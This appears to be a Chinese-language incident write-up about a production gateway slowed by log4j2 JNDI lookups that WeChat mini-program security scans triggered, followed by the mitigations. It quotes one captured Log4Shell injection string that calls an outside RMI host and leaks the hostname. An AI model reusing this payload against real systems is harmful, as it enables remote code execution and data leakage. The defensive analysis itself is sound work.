一次 Java log4j2 漏洞導致的生產問題
一、問題
近期生產在提交了微信小程序審核后(后面會講到),總會出現一些生產告警,而且持續時間較長。我們查看一些工具和系統相關的,發現把我們的 gateway 差不多打死了。 有一些現象。
- 網關有很多接口處理慢。
- 網關健康檢查不通過,發生重啟。
前面我們提到是微信小程序審核后,為什么我們覺得是和這個相關,因為我們在相關的時間段的 Nginx 請求日志種的 agent 字段看到了 Tencent Security Team, more information: https://developers.weixin.qq.com/community/minihome/doc/0008ea401c89c02cff2d1345051001 。我們可以看到小程序提交審核后平臺將對提審的小程序進行安全檢測. 我們也找到對應的小程序負責人詢問,是當天那個時間段前10分鐘左右有提交小程序審核。 而且這個小程序也是包含了這些掃描接口的。

我們在想是業務場景觸發的問題與這個掃描湊巧在一個時間段嗎? 因為我們認為這個檢查頻率不至于打垮我們的服務。我們決定在一個業務閑時,也就是低峰期的時候檢測一次(重新提交一次小程序提審)。 我們在提交完之后發現,掃描開始之后,我們的網關還是支撐不住了。頻繁的超時和健康檢查失敗。 網關服務有節點發生了重啟。 我們篤定跟微信的掃描是有關了。
二、解析過程
基本問題解析
我們在第二次掃描的時候,也做了一些準備。
- dump
jvm的內存。 - dump
java的線程棧。 - 關注
Nginx和gateway的日志。
我們 dump 線程棧發現了一些內容,但是我們沒有引起注意。

內存 dump 的話,我們發下并沒有占用太多內存,內存使用正常。
我們最后在 gateway 發現了一些日志。

整個請求耗時50多s。
我們看到 gateway 打出這個請求的請求體是
{
"pageNum": "${jndi:rmi://9.4.131.68:1099/bypass8cc3241fe66af8c6a1e82d9964e059be-/-${hostName}}",
"module": 1,
"pageSize": 20
}
這個 pageNum 的值看著就像注入的。然后我拿著這個值去搜索。

發現可能跟 log4j2 有關, 詢問開發目前我們使用的是 2.13.1
在log4j2漏洞公告中,我們發現 受影響的版本是 2.0-beta7 =< Apache Log4j 2.x < 2.17.0(2.3.2 和 2.12.4 版本不受影響)
該漏洞出現的時間是在 2021-12-29, 漏洞的詳情
Apache Log4j2 是一個基于Java的開源日志記錄框架,該框架重寫了Log4j框架,是其前身Log4j 1.x 的重寫升級版,并且引入了大量豐富的特性,使用非常的廣泛。該框架被大量用于業務系統開發,用來記錄日志信息。
據官方描述,擁有修改日志配置文件權限的攻擊者,可以構造惡意的配置將 JDBC Appender 與引用 JNDI URI 的數據源一起使用,從而可通過該 JNDI URI 遠程執行任意代碼。
由于該漏洞要求攻擊者擁有修改配置文件權限(通常需借助其他漏洞才可實現),非默認配置存在的問題,漏洞成功利用難度較大。
log4j2 漏洞相關源碼解析
log4j2 在支持日志打印的時候,支持了十幾種旁路策略,其中有一個就是jndi,log4j用 jndi 實現遠程調用并將結果進行日志打印,底層采用了socket 進行連接,但是沒有設置超時時間,當日志中有多個${導致循環調用多次。所以上面日志打印會重復2次 jndi 的操作,又因為我們日志打印配置了console 和 rollingFile。所以會打印四次日志。
gateway采用 Netty 作為底層容器,采用了Reactor模式,有一個事件循環組負責監聽事件,事件到達后會丟給另一個事件循環組去處理讀寫,事件循環組內有多個事件循環器,每個事件循環器由一個線程去處理業務讀寫,因此打印上面日志會阻塞住其中一個處理線程。從dump 出來的單個文件看是只有一個處理線程被阻塞了。而當進行心跳健康判斷的時候,有一定幾率會被分配給阻塞的線程,因此會放到隊列中一直等待線程處理,進而超時了 把 gateway網關重啟了;
四、問題解決辦法
建議解決辦法
-
升級版本。
Apache Log4j 2.x >= 2.3.2 (Java 6) Apache Log4j 2.x >= 2.12.4 (Java 7) Apache Log4j 2.x >= 2.17.1 (Java 8 及更新版)
臨時解決版本
-
刪除
JndiLookup.class類在 2.16.0 以外的任何版本中,您可以
JndiLookup從類路徑中刪除該類:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。 -
配置環境變量
LOG4J_FORMAT_MSG_NO_LOOKUPS為true(處理場景有限)javaopts配置為-Dlog4j2.formatMsgNoLookups=true(處理場景有限)
解決后測試

配置完成之后

前者處理為56秒,后者需要的時間為354ms. 是正常的響應時間。

浙公網安備 33010602011771號